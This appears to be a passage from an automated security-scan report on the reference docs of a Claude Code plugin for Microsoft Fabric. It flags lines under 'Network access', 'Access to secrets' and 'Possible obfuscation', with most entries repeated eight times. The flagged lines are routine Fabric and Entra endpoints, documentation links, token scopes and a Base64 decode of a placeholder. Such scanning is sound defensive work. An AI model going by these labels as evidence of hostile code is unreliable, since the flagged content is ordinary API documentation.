    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/DATAFLOWS-AUTHORING-CORE.md

  • Network accessline 104
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 105
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 123
    All endpoints use `https://api.fabric.microsoft.com/v1` as the base URL. Authenticate with an Entra ID Bearer token.
  • Network accessline 423
    },     {       "path": "https://example.com/api/data",
  • Network accessline 424
    {       "path": "https://example.com/api/data",       "kind": "Web",
  • Network accessline 425
    "path": "https://example.com/api/data",
  • Network accessline 446
    | `Sql` | `Sql.Database()` | `"server.database.windows.net;mydb"` | | `AzureSqlDatabase` | `AzureSql.Database()` | `"server.database.windows.net;mydb"` | | `Web` | `Web.Contents()` | `"https://example.com/api"` |
  • Network accessline 447
    | `AzureSqlDatabase` | `AzureSql.Database()` | `"server.database.windows.net;mydb"` | | `Web` | `Web.Contents()` | `"https://example.com/api"` | | `SharePoint` | `SharePoint.Contents()` | `"https://tenant.sharepoint.com/sites/mysite"` |
  • Network accessline 448
    | `Web` | `Web.Contents()` | `"https://example.com/api"` |
  • Network accessline 449
    | `SharePoint` | `SharePoint.Contents()` | `"https://tenant.sharepoint.com/sites/mysite"` |
  • Network accessline 450
    | `AzureDataLakeStorage` | `AzureStorage.DataLake()` | `"https://account.dfs.core.windows.net"` |
  • Network accessline 472
    Location: https://api.fabric.microsoft.com/v1/operations/{operationId}

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/DATAFLOWS-CONSUMPTION-CORE.md

  • Network accessline 29
    All endpoints use the Fabric REST API base URL. Authentication requires a bearer token with audience `https://api.fabric.microsoft.com/.default`.
  • Network accessline 34
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows
  • Network accessline 68
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}
  • Network accessline 88
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/parameters
  • Network accessline 124
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/getDefinition
  • Network accessline 164
    GET https://api.fabric.microsoft.com/v1/operations/{operationId}
  • Network accessline 183
    GET https://api.fabric.microsoft.com/v1/operations/{operationId}/result
  • Network accessline 189
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{dataflowId}/jobs/instances
  • Possible obfuscationline 232
    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("<base64-payload>"))
  • Network accessline 318
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 319
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 379
    1. **Trigger**: `POST .../items/{dataflowId}/jobs/instances?jobType=Execute` → returns `202 Accepted` 2. **Location header**: Contains the operation URL (e.g., `https://api.fabric.microsoft.com/v1/operations/{operationId}`)
  • Network accessline 380
    2. **Location header**: Contains the operation URL (e.g., `https://api.fabric.microsoft.com/v1/operations/{operationId}`)
  • Network accessline 390
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{dataflowId}/jobs/instances
  • Network accessline 423
    GET https://api.fabric.microsoft.com/v1/workspaces
  • Network accessline 431
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows
  • Network accessline 439
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}
  • Network accessline 447
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/parameters
  • Network accessline 455
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/getDefinition
  • Network accessline 468
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{dataflowId}/jobs/instances
  • Network accessline 497
    https://api.fabric.microsoft.com/.default
  • Network accessline 517
    | `ItemNotFound` | Dataflow ID doesn't exist or was deleted | Verify the ID with List Dataflows API | | `DataflowNotParametricError` | Dataflow has no parameters defined | Check the definition for parameter queries; this is not a failure | 
  • Network accessline 518
    | `DataflowNotParametricError` | Dataflow has no parameters defined | Check the definition for parameter queries; this is not a failure | | `401 Unauthorized` | Token expired or wrong audience | Refresh token; ensure audience is `https://ap
  • Network accessline 519
    | `401 Unauthorized` | Token expired or wrong audience | Refresh token; ensure audience is `https://api.fabric.microsoft.com/.default` |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTHOUSE-AUTHORING-CORE.md

  • Network accessline 97
    // From Blob Storage with CSV mapping .ingest into table Events (     h'https://myaccount.blob.core.windows.net/container/events.csv.gz;impersonate'
  • Network accessline 98
    .ingest into table Events (     h'https://myaccount.blob.core.windows.net/container/events.csv.gz;impersonate' ) with (format="csv", ingestionMappingReference="EventsCsvMapping", ignoreFirstRecord=true)
  • Network accessline 99
    h'https://myaccount.blob.core.windows.net/container/events.csv.gz;impersonate'

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTHOUSE-CONSUMPTION-CORE.md

  • Network accessline 21
    # List KQL Databases in a workspace az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \
  • Network accessline 22
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases"
  • Network accessline 23
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \
  • Network accessline 24
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 29
    > **Token audience**: `https://kusto.kusto.windows.net/.default` for all direct access methods. See [COMMON-CORE.md](./COMMON-CORE.md) for full audience table.
  • Network accessline 43
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 44
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 45
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 213
    | # | Symptom | Cause | Fix | |---|---|---|---| | 1 | `Request is invalid and cannot be processed` | Token audience mismatch | Use audience `https://kusto.kusto.windows.net/.default` |
  • Network accessline 214
    |---|---|---|---| | 1 | `Request is invalid and cannot be processed` | Token audience mismatch | Use audience `https://kusto.kusto.windows.net/.default` | | 2 | Query timeout | No time filter, scanning too much data | Add `where Timestamp >
  • Network accessline 215
    | 1 | `Request is invalid and cannot be processed` | Token audience mismatch | Use audience `https://kusto.kusto.windows.net/.default` |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTSTREAM-AUTHORING-CORE.md

  • Network accessline 3
    > **Purpose**: Shared reference for Eventstream authoring skills. Covers the Eventstream resource model, source configuration, operator (transformation) types, destination configuration, stream types, item definitions, and lifecycle managem
  • Network accessline 5
    > **Schema source**: Property schemas are aligned with the official [`eventstream-definition.json`](https://github.com/microsoft/fabric-event-streams/blob/main/API%20Templates/eventstream-definition.json) template from `microsoft/fabric-eve
  • Network accessline 807
    The Topology API provides runtime inspection, connection retrieval, and operational control — separate from the Items/Definition API. [Reference](https://learn.microsoft.com/en-us/rest/api/fabric/eventstream/topology).

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTSTREAM-CONSUMPTION-CORE.md

  • Network accessline 3
    > **Purpose**: Shared reference for Eventstream consumption skills. Covers listing and discovering Eventstreams, monitoring health, inspecting topology, checking source/destination status, and integration with downstream analytics. > **Lang
  • Network accessline 5
    > **Schema source**: Property schemas are aligned with the official [`eventstream-definition.json`](https://github.com/microsoft/fabric-event-streams/blob/main/API%20Templates/eventstream-definition.json) template from `microsoft/fabric-eve
  • Network accessline 45
    The Topology API returns the runtime topology with per-node **status**, **error info**, and **input schemas** — without requiring base64 decoding. [Reference](https://learn.microsoft.com/en-us/rest/api/fabric/eventstream/topology).
  • Network accessline 268
    | 7 | Eventhouse destination data not appearing | Ingestion mapping mismatch | Check `mappingRuleName` and verify table schema matches | | 8 | Lakehouse destination data delayed | Batching thresholds not met | Check `minimumRows` and `maxim
  • Network accessline 269
    | 8 | Lakehouse destination data delayed | Batching thresholds not met | Check `minimumRows` and `maximumDurationInSeconds` — data is buffered until one threshold is reached | | 9 | `401 Unauthorized` on API call | Token expired or wrong au
  • Network accessline 270
    | 9 | `401 Unauthorized` on API call | Token expired or wrong audience | Re-acquire token with `--resource https://api.fabric.microsoft.com` |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/ITEM-DEFINITIONS-CORE.md

  • Network accessline 37
    > Ref: https://learn.microsoft.com/en-us/fabric/cicd/git-integration/source-code-format
  • Network accessline 37
    > Ref: https://learn.microsoft.com/en-us/fabric/cicd/git-integration/source-code-format
  • Network accessline 73
    > Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item
  • Network accessline 73
    > Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item
  • Network accessline 77
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/notebook-definition
  • Network accessline 77
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/notebook-definition
  • Network accessline 114
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/datapipeline-definition
  • Network accessline 114
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/datapipeline-definition
  • Network accessline 157
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/semantic-model-definition
  • Network accessline 157
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/semantic-model-definition
  • Network accessline 181
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/report-definition
  • Network accessline 181
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/report-definition
  • Network accessline 182
    > JSON Schemas: [`report/3.1.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/report/3.1.0/schema.json), [`page/1.0.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/1.0.0/sche
  • Network accessline 182
    > JSON Schemas: [`report/3.1.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/report/3.1.0/schema.json), [`page/1.0.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/1.0.0/sche
  • Network accessline 183
    > Schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item/report
  • Network accessline 183
    > Schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item/report
  • Network accessline 212
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/lakehouse-definition
  • Network accessline 212
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/lakehouse-definition
  • Network accessline 255
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/spark-job-definition
  • Network accessline 255
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/spark-job-definition
  • Network accessline 293
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/environment-definition
  • Network accessline 293
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/environment-definition
  • Network accessline 340
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/variable-library-definition
  • Network accessline 340
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/variable-library-definition
  • Network accessline 341
    > REST API: https://learn.microsoft.com/en-us/rest/api/fabric/variableharness/github-copilot/items
  • Network accessline 341
    > REST API: https://learn.microsoft.com/en-us/rest/api/fabric/variableharness/github-copilot/items
  • Network accessline 370
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 370
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 371
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 371
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 401
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 401
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 402
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 402
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 410
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 410
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 411
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 411
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 421
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 421
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 422
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 422
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 446
    > Ref: https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities#variable-library-utilities
  • Network accessline 446
    > Ref: https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities#variable-library-utilities
  • Network accessline 509
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-definition
  • Network accessline 509
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-definition
  • Network accessline 522
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-database-definition
  • Network accessline 522
